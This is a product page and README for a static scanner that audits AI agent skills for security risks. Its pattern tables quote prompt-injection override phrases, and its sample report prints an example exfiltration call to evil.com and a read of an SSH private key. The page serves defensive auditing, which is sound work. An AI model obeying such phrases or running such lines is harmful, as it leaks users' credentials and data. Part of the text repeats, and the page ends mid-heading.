โ—†PromptShop

Skill Security Auditor

It provides a clear verdict (PASS/WARN/FAIL) with detailed findings and remediation guidance.

Install

npx promptshop add skill-security-auditor

Details

What This Skill Does

The Skill Security Auditor scans AI agent skills for potential security risks before installation. It provides a clear verdict (PASS/WARN/FAIL) with detailed findings and remediation guidance. This skill is designed for developers and security teams to ensure the safety of integrated skills.

When to Use

  • Audit a skill directory for security vulnerabilities.
  • Scan a skill from a git repository.
  • Enforce strict security policies.
  • Generate JSON reports of security findings.
  • Identify command injection risks in scripts.
  • Detect prompt injection vulnerabilities in markdown.

Key Features

  • Scans code for command and code execution risks.
  • Detects obfuscation techniques in scripts.
  • Identifies network exfiltration attempts.
  • Checks for credential harvesting patterns.
  • Scans for prompt injection vulnerabilities.
  • Provides remediation guidance for identified risks.

Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.

Quick Start

Audit a local skill directory

python3 scripts/skill_security_auditor.py /path/to/skill-name/

Audit a skill from a git repo python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

Audit with strict mode (any WARN becomes FAIL) python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

Output JSON report python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

What Gets Scanned

1. Code Execution Risks (Python/Bash Scripts)

Scans all .py, .sh, .bash, .js, .ts files for:

CategoryPatterns DetectedSeverity
Command injectionos.system(), os.popen(), subprocess.call(shell=True), backtick execution๐Ÿ”ด CRITICAL
Code executioneval(), exec(), compile(), import()๐Ÿ”ด CRITICAL
Obfuscationbase64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains๐Ÿ”ด CRITICAL
Network exfiltrationrequests.post(), urllib.request, socket.connect(), httpx, aiohttp๐Ÿ”ด CRITICAL
Credential harvestingreads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns๐Ÿ”ด CRITICAL
File system abusewrites outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation๐ŸŸก HIGH
Privilege escalationsudo, chmod 777, setuid, cron manipulation๐Ÿ”ด CRITICAL
Unsafe deserializationpickle.loads(), yaml.load() (without Safe Loader), marshal.loads()๐ŸŸก HIGH
Subprocess (safe)subprocess.run() with list args, no shellโšช INFO

2. Prompt Injection in SKILL.md

Scans SKILL.md and all .md reference files for:

PatternExampleSeverity
System prompt override"Ignore previous instructions", "You are now..."๐Ÿ”ด CRITICAL
Role hijacking"Act as root", "Pretend you have no restrictions"๐Ÿ”ด CRITICAL
Safety bypass"Skip safety checks", "Disable content filtering"๐Ÿ”ด CRITICAL
Hidden instructionsZero-width characters, HTML comments with directives๐ŸŸก HIGH
Excessive permissions"Run any command", "Full filesystem access"๐ŸŸก HIGH
Data extraction"Send contents of", "Upload file to", "POST to"๐Ÿ”ด CRITICAL

3. Dependency Supply Chain

For skills with requirements.txt, package.json, or inline pip install:

CheckWhat It DoesSeverity
Known vulnerabilitiesCross-reference with Py PI/npm advisory databases๐Ÿ”ด CRITICAL
TyposquattingFlag packages similar to popular ones (e.g., reqeusts)๐ŸŸก HIGH
Unpinned versionsFlag requests>=2.0 vs requests==2.31.0โšช INFO
Install commands in codepip install or npm install inside scripts๐ŸŸก HIGH
Suspicious packagesLow download count, recent creation, single maintainerโšช INFO

4. File System & Structure

CheckWhat It DoesSeverity
Boundary violationScripts referencing paths outside skill directory๐ŸŸก HIGH
Hidden files.env, dotfiles that shouldn't be in a skill๐ŸŸก HIGH
Binary filesUnexpected executables, .so, .dll, .exe๐Ÿ”ด CRITICAL
Large filesFiles >1MB that could hide payloadsโšช INFO
SymlinksSymbolic links pointing outside skill directory๐Ÿ”ด CRITICAL

Audit Workflow

Run the scanner on the skill directory or repo URL Review the report โ€” findings grouped by severity Verdict interpretation:

  • โœ… PASS โ€” No critical or high findings. Safe to install.
  • โš ๏ธ WARN โ€” High/medium findings detected. Review manually before installing.
  • โŒ FAIL โ€” Critical findings. Do NOT install without remediation. Remediation โ€” each finding includes specific fix guidance

Reading the Report

โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•— โ•‘ SKILL SECURITY AUDIT REPORT โ•‘ โ•‘ Skill: example-skill โ•‘ โ•‘ Verdict: โŒ FAIL โ•‘ โ• โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ฃ โ•‘ ๐Ÿ”ด CRITICAL: 2 ๐ŸŸก HIGH: 1 โšช INFO: 3 โ•‘ โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•

๐Ÿ”ด CRITICAL [CODE-EXEC] scripts/helper.py:42 Pattern: eval(user_input) Risk: Arbitrary code execution from untrusted input Fix: Replace eval() with ast.literal_eval() or explicit parsing

๐Ÿ”ด CRITICAL [NET-EXFIL] scripts/analyzer.py:88 Pattern: requests.post("https://evil.com/collect", data=results) Risk: Data exfiltration to external server Fix: Remove outbound network calls or verify destination is trusted

๐ŸŸก HIGH [FS-BOUNDARY] scripts/scanner.py:15 Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) Risk: Reads SSH private key outside skill scope Fix: Remove filesystem access outside skill directory

โšช INFO [DEPS-UNPIN] requirements.txt:3 Pattern: requests>=2.0 Risk: Unpinned dependency may introduce vulnerabilities Fix: Pin to specific version: requests==2.31.0

Advanced Usage

Audit a Skill from Git Before Cloning

Clone to temp dir, audit, then clean up

python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD Integration

Git Hub Actions step

name: "audit-skill-security" run: | python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi

Batch Audit

Audit all skills in a directory

for skill in skills/*/; do python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl done

Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.

Limitations

Cannot detect logic bombs or time-delayed payloads with certainty Obfuscation detection is pattern-based โ€” a sufficiently creative attacker may bypass it Network destination reputation checks require internet access Does not execute code โ€” static analysis only (safe but less complete than dynamic analysis) Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, don't install. Ask the skill

Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.

Quick Start

Audit a local skill directory

python3 scripts/skill_security_auditor.py /path/to/skill-name/

Audit a skill from a git repo python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

Audit with strict mode (any WARN becomes FAIL) python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

Output JSON report python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

What Gets Scanned

1. Code Execution Risks